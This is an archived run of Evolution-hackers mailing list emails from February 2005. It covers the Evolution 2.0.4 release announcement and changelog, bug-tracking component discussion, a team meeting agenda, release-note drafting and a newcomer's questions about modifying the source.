evolution@ximian.com, evolution-hackers@ximian.com, gnome-announce-list@gnome.org Content-Type: text/plain; charset=utf-8 Organization: Novell, Inc. Date: Sun, 20 Feb 2005 23:57:29 -0500 Message-Id: <1108961849.9149.21.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 8bit X-Spam-Status: Yes, hits=7.0 required=5.0 tests=RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******* X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Evolution 2.0.4 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: The Evolution Team exuberantly announces the release of Evolution 2.0.4. Unless any critical issues are are discovered this will be the last release in the 2.0.4 series. Download the following: http://ftp.gnome.org/pub/gnome/sources/evolution/2.0/evolution-2.0.4.tar.gz http://ftp.gnome.org/pub/gnome/sources/gtkhtml/3.2/gtkhtml-3.2.5.tar.gz http://ftp.gnome.org/pub/gnome/sources/gal/2.2/gal-2.2.5.tar.gz http://ftp.gnome.org/pub/gnome/sources/evolution-data-server/1.0/evolution-data-server-1.0.4.tar.gz http://ftp.gnome.org/pub/gnome/sources/libsoup/2.2/libsoup-2.2.2.tar.gz http://ftp.gnome.org/pub/gnome/sources/ximian-connector/2.0/ximian-connector-2.0.4.tar.gz Upgrade Notes: Evolution 2.0 is the stable version of the 1.5.x development series. It will upgrade your existing 1.4 install if you were not using 1.5 previously, but will not delete it until told to. Bug Fixes and Updates: Evolution 2.0.4, 2005-02-14 ---------------------------- Bugzilla bugs fixed (see http://bugzilla.ximian.com/show_bug.cgi): * Addressbook #36137 - Leading %s in addressbook message totally non-obvious (Siva) #70339 - vcard preview doesn't appear to work (Siva) #70622 - Crash changing gtkhtml settings (JP) #70922 - Email address types should show "Other" when importing vcards (Siva) #70540 - Adding contact from email doesn't let you change "file as" (Hans) * Calendar #41624 - only the last exception is deleted on palm device (JP) #46901 - Only one line gets printed when printing Tasks and Appointments (Yong Sun) * Mail #33933 - Sorting by subject does not result in expected order (Jeff) #70795 - Next/Previous Message Should Only Display Listed Emails (Michael) #65329 - regression in default folder name localisation (Michael) #71312 - Double-clicking vFolder of Draft folder doesn't allow editing (Michael) #71310 - Always loses my signature script settings (Michael) #71310 - Always loses my signature script settings (Michael) #69850 - Crash: attempting to create a Vfolder based on a message without a Sender (Michael) #65178 - newly created folder on local maildir doesn't show until evolution restart (Michael) #70858 - selecting newly created folder flakey (Michael) #60664 - message view does not follow theme change (Michael) #70768 - 'Mark All as Read' marks all the mails which are not in current query as read (Michael) #70563 - crash when 'load images' on MyEclipse newsletter email (Michael) #66943 - Crash when saving draft (Michael) #71105 - When trying to rename a folder containing a slash "/" and spaces, evil stuff happens (Michael) #72020 - Error parsing filter: Unknown identifier: adjust-score (Michael) #38791 - gpg can make evo hang if keyserver unreachable (Michael) #36142 - Don't use acronyms as verbs in messages (Michael) #70303 - pgp signature invalid with very short emails (Michael) #69757 - Memory leak in imap_parse_list_response (Michael) #22496 - Evolution does not appear to support ALERT messages (Michael) #71427 - Evolution does not prompt for new password (Michael) #71625 - Don't display content of e-mail when first selected (Michael) #56110 - Messages in digest displayed as source (Michael) #69024 - Doesn't update NNTP folder in a Virtual folder (Michael) #47824 - nested, identical multipart boundaries dont parse properly (Michael) #70919 - Crash during fetching mail (mail has gpg signature) (Michael) #70556 - Unable load messages info from MS Exchange by IMAP (Michael) Other bugs * Mail -64 bit fixes (Michael) * Addressbook - work around 67411 (Hans) - 64 bit fixes (Michael) - Turkish locale fixes (S.Çaglar Onur) * Calendar - fix potential resize crash (Michael) * S/MIME - don't remove the cert from the tree if it wasn't actually deleted (Michael) Updated translations: - nl (Vincent van Adrighem) - pt (Duarte Loreto) - hu (Laszlo Dvornik) - ca (Jordi Mallach) - fr (Jeremie Knuesel, Sebastien Bacher, Christophe Merlet) - sv (Christian Rose) - de (Hendrik Brandt) - id (Mohammad DAMT) - es (Francisco Javier F. Serrador) - da (Martin Willemoes Hansen) - ko (Changwoo Ryu) - zh_CN (Funda Wang) - ms (Hasbullah Bin Pit) - hu (Laszlo Dvornik) - cs (Miloslav Trmac) - ru (Leonid Kanter) - bg (Vladimir Petkov) - sq (Laurent Dhima) - en_GB (David Lodge) - pl (Artur Flinta) - sr (Danilo Segan) - sr@Latn (Danilo Segan) - en_CA (Adam Weinberger) - pt_BR (Raphael Higino) - nn (Åsmund Skjæveland) Exchange Connector 2.0.4 2005-02-14 ------------------------------------ Bugzilla bugs fixed (see http://bugzilla.ximian.com/show_bug.cgi): #70730 - connector hangs on kerberos authentication attempts (Sarfraaz) #71432 - Don't see schedule in new meeting request dialog (Sushma) #70357 - Crash: Exchange calendar query hangs Evolution (glibc gives a double-free or corruption error!) (Sarfraaz) #68330 - Exchange now crashes on start (Sarfraaz) #66963 - The trash is filtered for spam (that I just deleated) when I select (and there by open) the trashdir to do an expunge (Sarfraaz) #71469 - Menus for Connector are not Translated to French (Sarfraaz) #71555 - Label setting is not being saved across sessions (Sushma) #70283 - All-day calendar events incorrectly show as busy (Sarfraaz) #70414 - Memory corruption/build-up tracking bug (Sarfraaz) Fixes for 64 bit support (Michael Zucchi) Updated Translations: (Since 2.0.1) - bg (Alexander Shopov) - da (Martin Willemoes Hansen) - ca (Jordi Mallach) - hu (Laszlo Dvornik) Evolution Data Server 1.0.4, 2005-02-14 ---------------------------------------- Bugzilla bugs fixed (see http://bugzilla.ximian.com/show_bug.cgi): * Address Book #64298 - G/W failure to authenticate (Siva) #67541 - LDAP password not to be remembered (Siva) #66854 - Some strings are missed to translation (Rodney) #71116 - wrong gettext initialization breaks translation (Rodney) #70918 - Importing kontact vcard causes inifinite loop (Siva) * Calendar #64682 - Moving an appointment from one calendar to another sends update (Chen) #67031 - GroupWise tasks are not getting updated in any way (Chen) * All #69186 - cannot remove GAL from Autocomplete in settings (Siva) #64298 - G/W failure to authenticate (Siva) Other bugs * Calendar - warning fixes (Michael) - fix groupwise ssl usage (Harish) * Address Book - fix vcard note migration issues if containing non-ascii chars (Siva) - fix groupwise ssl usage (Harish) * All - 64 bit fixes (Michael) Updated Translations: -et (Priit Laes) -ru (Leonid Kanter) gtkhtml-3.2.5 "hispidulum" 2005-02-14 ------------------------------------------------ New in this release * Updated translations fr (Christophe Merlet) de (Hendrik Brandt) pl (Artur Flinta) nl (Vincent van Adrighem) sv (Christian Rose) ja (Takeshi AIHANA) gal-2.2.5 2005-02-14 ---------------------- Other bugs and changes: - Updated translations: it (Luca Ferretti, Alessio Frusciante Reporting Bugs If you have problems with 2.0.4, please take the time to submit the bug using Bug Buddy or at http://bugzilla.ximian.com. Try to fill in as much detail as you can regarding the circumstances that lead to the problem If you have a feature request, you can also file that at http://bugzilla.ximian.com/ don't be discouraged if you don't hear from us right away, we get hundreds of feature requests a year. You can also check if your bug has been reported before by using the search functionality of Bugzilla. More information is available at the project website: http://www.gnome.org/projects/evolution -JP -- JP Rosevear Novell, Inc. From pchenthill@novell.com Mon Feb 21 00:15:54 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ACFE112411A; Mon, 21 Feb 2005 00:15:54 -0500 (EST) Received: from yahoo.blr.novell.com (unknown [202.144.86.147]) by lists.ximian.com (Postfix) with ESMTP id 1447912404F for ; Mon, 21 Feb 2005 00:15:42 -0500 (EST) Received: by yahoo.blr.novell.com (Postfix, from userid 0) id 8F9B327E98; Mon, 21 Feb 2005 10:46:24 +0530 (IST) Subject: Re: [Evolution-hackers] evolution-groupwise-maintainers From: chen To: Harish Krishnaswamy Cc: ls@skeptopotamus.ximian.com, JP Rosevear , Evolution Hackers mailing list , evolution-groupwise-maintainers@ximian.com In-Reply-To: <035201c5168b$92cc60a0$0301a8c0@executivesontheweb.local> References: <1108746179.6456.246.camel@bishop.rosevear.com> <1108749170.12982.7.camel@Gr8-Siva.hathaway> <035201c5168b$92cc60a0$0301a8c0@executivesontheweb.local> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Mon, 21 Feb 2005 10:46:23 +0530 Message-Id: <1108962983.22989.2.camel@yahoo.blr.novell.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-17.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, SUBJ_HAS_UNIQ_ID autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Sat, 2005-02-19 at 14:01 +0000, Harish Krishnaswamy wrote: > On Fri, 2005-02-18 at 23:22 +0530, Sivaiah Nallagatla wrote: > >On Fri, 2005-02-18 at 12:02 -0500, JP Rosevear wrote: > >> I got this alias setup for bugzilla in case we want to assign groupwise > >> related bugs there some how. > >> > >> Personally I'd prefer to keep the groupwise bugs assigned to individual > >> components with the groupwise keyword rather than create a separate > >> product (the GroupWise product in their now was a broken attempt at > >> tracking some server issues) or separate component. We don't put IMAP > >> or POP bugs in a separate component. However it is a little different > >> in this case because we have a specific group working on these bugs and > >> there are currently a lot of them. We could transfer the groupwise > >> keyword bugs that aren't assigned specifically right now to > >> evolution-groupwise-maintainers and periodically make sure the > >> assignment is right. This would cut down the bug traffic to > >> evolution-mail-maintainers, evolution-calendar-maintainers, etc. > >> > >> Thoughts? > >This idea looks good to me though i would prefer separte product. I feel having separate > >product would make bug submitting easier for folks who are testing/using > >groupwise and avoids even the initial mails sent when new bug is filed. > >Going over bugzilla to find groupwise related bugs will be more painful > >than moving an occasional non-groupwise bug present in groupwise prodcut > >to evolution. > > > > > >Siva > > > > I welcome this idea - actually helps us ensure that none of the bugs are > missed. Currently, some of them have skipped my radar - since groupwise > keyword was not mentioned in some cases and had been assigned to the > product design team - forcing me to resort to look for bugs filed by the > QA hackers rather than the other way round. > > Also, it should reduce lots of traffic for non-gw maintainers - yes. > > Harish > > ______ The idea looks good. It would be better to have the bugs filed under groupwise component for the same reasons mentioned above. thanks, chenthill. > _________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers > From rodrigo@novell.com Mon Feb 21 04:42:23 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 5D2391245B8; Mon, 21 Feb 2005 04:42:23 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 34541124015 for ; Mon, 21 Feb 2005 04:42:11 -0500 (EST) Received: (qmail 24242 invoked from network); 21 Feb 2005 09:42:10 -0000 Received: from localhost (HELO cerler.home) (127.0.0.1) by localhost with SMTP; 21 Feb 2005 09:42:10 -0000 Subject: Re: [Evolution-hackers] Re: Information about hacking on Evolution From: Rodrigo Moya To: Not Zed Cc: spamfrommailing@freax.org, gnome-hackers@gnome.org, evolution-hackers@lists.ximian.com In-Reply-To: <1108946291.24160.11.camel@lostzed.mmc.com.au> References: <1108674763.9004.1.camel@localhost.localdomain> <1108733383.22947.3.camel@cerler.home> <1108946291.24160.11.camel@lostzed.mmc.com.au> Content-Type: text/plain Date: Mon, 21 Feb 2005 10:39:33 +0100 Message-Id: <1108978773.11552.7.camel@cerler.home> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-15.7 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Mon, 2005-02-21 at 08:38 +0800, Not Zed wrote: > > There's an evolution wiki??? > yes, http://live.gnome.org/Evolution > Since when? > some weeks ago IIRC -- Rodrigo Moya From spamfrommailing@freax.org Mon Feb 21 05:31:48 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id BB625124E03; Mon, 21 Feb 2005 05:31:48 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id D4AA8124E09 for ; Mon, 21 Feb 2005 05:31:36 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id 67DE11394242; Mon, 21 Feb 2005 11:31:32 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 18026-09; Mon, 21 Feb 2005 11:31:25 +0100 (CET) Received: from [192.168.0.129] (cvs.maia-scientific.com [213.193.139.10]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id EBD381394240; Mon, 21 Feb 2005 11:31:24 +0100 (CET) Subject: Re: [Evolution-hackers] Re: Information about hacking on Evolution From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: Rodrigo Moya Cc: Not Zed , gnome-hackers@gnome.org, evolution-hackers@lists.ximian.com In-Reply-To: <1108978773.11552.7.camel@cerler.home> References: <1108674763.9004.1.camel@localhost.localdomain> <1108733383.22947.3.camel@cerler.home> <1108946291.24160.11.camel@lostzed.mmc.com.au> <1108978773.11552.7.camel@cerler.home> Content-Type: multipart/alternative; boundary="=-01ySGe1mPnh4L+VenvJE" Date: Mon, 21 Feb 2005 11:31:25 +0100 Message-Id: <1108981885.11748.17.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: No, hits=-22.1 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,HTML_10_20,IN_REP_TO, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES,SIGNATURE_LONG_SPARSE autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-01ySGe1mPnh4L+VenvJE Content-Type: text/plain Content-Transfer-Encoding: 7bit On Mon, 2005-02-21 at 10:39 +0100, Rodrigo Moya wrote: > On Mon, 2005-02-21 at 08:38 +0800, Not Zed wrote: > > > > There's an evolution wiki??? > > > yes, http://live.gnome.org/Evolution > I wouldn't mind if somebody took the wiki-source of my mediawiki site and port it to the wiki-engine thats being used on live.gnome.org. It would be nice of course, if there's some mentioning of who originally created the document :p. Nevertheless I'd like to point out I dislike the wiki-engine on live.gnome.org. It doesn't look very professional and in my humble opinion doesn't have the required set of features which a MediaWiki does have. As an example I like the fact that MediaWiki generates an index at the top of every page. Perhaps utilising a different stylesheet, or the same as used on a MediaWiki, might make it look a little bit better. I'm guessing that a plugin that creates an index of a page for the wiki engine used on live.gnome.org can be build. So both issue's I'm having with that wiki can be solved (but then again, any issue can be solved. So thats no news). So if you want to port the document to live.gnome.org, I'd say go for it but .. I'd prefer that a MediaWiki would be used. In any case I give permission to do so. -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org --=-01ySGe1mPnh4L+VenvJE Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Mon, 2005-02-21 at 10:39 +0100, Rodrigo Moya wrote: 
On Mon, 2005-02-21 at 08:38 +0800, Not Zed wrote:
> 
> There's an evolution wiki???
> 
yes, http://live.gnome.org/Evolution

I wouldn't mind if somebody took the wiki-source of my mediawiki site and port it to the wiki-engine thats being used on live.gnome.org. It would be nice of course, if there's some mentioning of who originally created the document :p.

Nevertheless I'd like to point out I dislike the wiki-engine on live.gnome.org. It doesn't look very professional and in my humble opinion doesn't have the required set of features which a MediaWiki does have. As an example I like the fact that MediaWiki generates an index at the top of every page.

Perhaps utilising a different stylesheet, or the same as used on a MediaWiki, might make it look a little bit better. I'm guessing that a plugin that creates an index of a page for the wiki engine used on live.gnome.org can be build. So both issue's I'm having with that wiki can be solved (but then again, any issue can be solved. So thats no news).

So if you want to port the document to live.gnome.org, I'd say go for it but .. I'd prefer that a MediaWiki would be used. In any case I give permission to do so.


-- 
Philip Van Hoof, Software Developer @ Cronos
home: me at freax dot org
gnome: pvanhoof at gnome dot org
work: philip dot vanhoof at cronos dot be
junk: philip dot vanhoof at gmail dot com
http://www.freax.be, http://www.freax.eu.org
--=-01ySGe1mPnh4L+VenvJE-- From jpr@novell.com Tue Feb 22 00:58:08 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B89311246CB; Tue, 22 Feb 2005 00:58:08 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 71EDB12430F for ; Tue, 22 Feb 2005 00:57:56 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Mon, 21 Feb 2005 22:57:48 -0700 From: JP Rosevear To: gene-pool@ximian.com Cc: Evolution Hackers mailing list Content-Type: text/plain Organization: Novell, Inc. Date: Tue, 22 Feb 2005 00:57:33 -0500 Message-Id: <1109051853.9149.138.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=5.4 required=5.0 tests=BAYES_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ***** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Novell people, send a status report if you can't make it. 10am Boston time (UTC -0500) on Wednesday. This meeting will take place on irc.gimp.org, #evolution-meet 1. JP -2.1 development status -2.1 bug assessment -2.2.0 and 2.2.1 timeline -Patch review mode reminder -2.0.4 release 2. Team -individual status reports 3. Additional Business -questions, concerns, etc. -JP -- JP Rosevear Novell, Inc. From owner-evolution-hackers@skeptopotamus.ximian.com Tue Feb 22 11:34:50 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 0A11E124E5A; Tue, 22 Feb 2005 11:34:50 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax Secure Global eBusiness CA-1" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 34C15124E74 for ; Tue, 22 Feb 2005 11:34:24 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 36D9A63F04; Tue, 22 Feb 2005 11:31:40 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from dydimus.dreamhost.com (dydimus.dreamhost.com [66.33.197.17]) by skeptopotamus.ximian.com (Postfix) with ESMTP id 169966392C for ; Tue, 22 Feb 2005 11:31:40 -0500 (EST) Received: from 192.168.1.105 (p3EE21087.dip.t-dialin.net [62.226.16.135]) by dydimus.dreamhost.com (Postfix) with ESMTP id 0BE214F8AC for ; Tue, 22 Feb 2005 08:31:38 -0800 (PST) From: Murray Cumming To: Evolution-Hackers List In-Reply-To: <1108907521.6107.6.camel@localhost.localdomain> References: <1107635723.3794.56.camel@localhost.localdomain> <1108907521.6107.6.camel@localhost.localdomain> Content-Type: text/plain Date: Tue, 22 Feb 2005 17:31:34 +0100 Message-Id: <1109089894.5588.1.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-22.0 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: 2.10 release notes: What's new? Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: How about this?: GNOME's integrated Email and Groupware client, Evolution supports traditional mail setups, as well as Novell Groupwise and Microsoft Exchange. With Evolution you can read, write, and manage your emails, contacts, and calendar events. In GNOME 2.10 it's now easier to work offline with your email, calendar, and contacts if you use IMAP, LDAP, WebCal, Groupwise, or Exchange. Your changes will resynchronize when you go back online. (TODO: Is this an accurate description) This new version offers some other calendar improvements: - Files can be attached to events. - Exceptions can be made in recurring events. - The calendar includes weather information. And yet more new features: - Groupwise shared folders and send options are now supported. (TODO: What are "send options") - Exchange folder sizes and password expiry warnings are supported. - The email user interface will be properly mirrored for right-to-left languages. On Sun, 2005-02-20 at 14:52 +0100, Murray Cumming wrote: > I sent this to desktop-devel-list but maybe the evo maintainers didn't > see it. Could you add some information about what's new in Evolution for > GNOME 2.10, please? Thanks. > > On Sat, 2005-02-05 at 21:35 +0100, Murray Cumming wrote: > > It's time to think about the 2.10 release notes. > > > > Could GNOME maintainers please tell us about major user-visible changes > > in their modules, by editing this page: > > http://live.gnome.org/ReleaseNotes > > or just email them to me or the release-team if necessary. > > -- Murray Cumming murrayc@murrayc.com www.murrayc.com www.openismus.com From carlos.gonzalez@shaw.ca Tue Feb 22 18:01:52 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id DC1C31244A8; Tue, 22 Feb 2005 18:01:52 -0500 (EST) Received: from pd3mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net [24.71.223.10]) by lists.ximian.com (Postfix) with ESMTP id 4E8DE12432D for ; Tue, 22 Feb 2005 18:01:41 -0500 (EST) Received: from pd5mr7so.prod.shaw.ca (pd5mr7so-qfe3.prod.shaw.ca [10.0.141.183]) by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICC00MXJ59BHQ50@l-daemon> for evolution-hackers@lists.ximian.com; Tue, 22 Feb 2005 16:00:47 -0700 (MST) Received: from pn2ml1so.prod.shaw.ca ([10.0.121.145]) by pd5mr7so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICC00FB558ZD590@pd5mr7so.prod.shaw.ca> for evolution-hackers@lists.ximian.com; Tue, 22 Feb 2005 16:00:35 -0700 (MST) Received: from 192.168.1.9 (S0106006097389864.ed.shawcable.net [68.150.172.101]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0ICC0042Z58Y01@l-daemon> for evolution-hackers@lists.ximian.com; Tue, 22 Feb 2005 16:00:34 -0700 (MST) Date: Tue, 22 Feb 2005 16:00:39 -0700 From: Carlos Gonzalez To: Evolution Hackers-List Message-id: <1109113239.31590.41.camel@localhost.localdomain> MIME-version: 1.0 X-Mailer: Evolution 2.0.2 Content-type: text/plain Content-transfer-encoding: 7bit X-Spam-Status: Yes, hits=7.0 required=5.0 tests=RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******* X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] How to incorporate and test changes to code - an overview?? Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi everyone, This is my first post on the list so bear with me if some of what I ask about seems like old hat to most of you :). I have been using Evolution for a few days now and find it a very worthwhile program. But I have been encountering lots of frustrating quirks to using it that I would like to change. Rather than waiting for changes to be made, if ever, through the more normal channels I prefer to make changes to the source code myself and recompile if necessary. It's the first open source program I have encountered that needs some changes pretty bad but which is already at a point of being quite useful. So it's worth it for me to do this. So...I am wondering first off if there is some kind of guide online for newbie hackers of the source code and where that might be? Secondly in a more general sense I am wondering about the whole methodology used in making changes to the source code such that I can make them and test them within a reasonable time period. Obviously I cannot wait to test a change by recompiling the source with every few changes. There must be a much faster way of doing this that Evolution programmers use but of which I am unaware. Do they build test scripts that can test individual functions? One at a time? Such that they can compile changes to the function quickly to test before incorporating into the source code tree? Lastly what is a good way to keep any changes I make while also making use of the latest stable builds to Evolution? Is it theoretically possible to download the entire source, for me to create and run a Perl or other script to patch the source code, and then to recompile so that I get the best and greatest from Evolution while also incorporating my changes. Any input on any or all of the above would be most appreciated. Some of evolutions quirks are starting to drive me nuts yet I don't want to cease using it since it's the best there is on Linux. Carlos From jpr@novell.com Tue Feb 22 21:28:45 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 40397124C5E; Tue, 22 Feb 2005 21:28:45 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 0F021124646 for ; Tue, 22 Feb 2005 21:28:29 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Tue, 22 Feb 2005 19:28:19 -0700 Subject: Re: [Evolution-hackers] evolution-groupwise-maintainers From: JP Rosevear To: Evolution Hackers mailing list Cc: evolution-groupwise-maintainers@ximian.com In-Reply-To: <1108746179.6456.246.camel@bishop.rosevear.com> References: <1108746179.6456.246.camel@bishop.rosevear.com> Content-Type: text/plain Organization: Novell, Inc. Date: Tue, 22 Feb 2005 21:28:06 -0500 Message-Id: <1109125686.20807.145.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-17.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, SUBJ_HAS_UNIQ_ID autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Fri, 2005-02-18 at 12:02 -0500, JP Rosevear wrote: > I got this alias setup for bugzilla in case we want to assign groupwise > related bugs there some how. > > Personally I'd prefer to keep the groupwise bugs assigned to individual > components with the groupwise keyword rather than create a separate > product (the GroupWise product in their now was a broken attempt at > tracking some server issues) or separate component. We don't put IMAP > or POP bugs in a separate component. However it is a little different > in this case because we have a specific group working on these bugs and > there are currently a lot of them. We could transfer the groupwise > keyword bugs that aren't assigned specifically right now to > evolution-groupwise-maintainers and periodically make sure the > assignment is right. This would cut down the bug traffic to > evolution-mail-maintainers, evolution-calendar-maintainers, etc. Ok, sounds like you guys want a groupwise component. Evolution or EDS or both? -JP -- JP Rosevear Novell, Inc. From notzed@ximian.com Wed Feb 23 03:08:29 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 6A7EB124542; Wed, 23 Feb 2005 03:08:29 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com 